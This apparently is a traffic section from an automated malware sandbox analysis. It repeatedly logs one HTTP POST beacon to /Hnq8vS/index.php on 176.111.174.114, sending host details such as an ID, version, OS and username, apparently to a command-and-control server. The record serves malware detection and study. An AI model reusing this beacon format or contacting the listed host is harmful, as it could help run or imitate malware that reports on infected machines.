Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
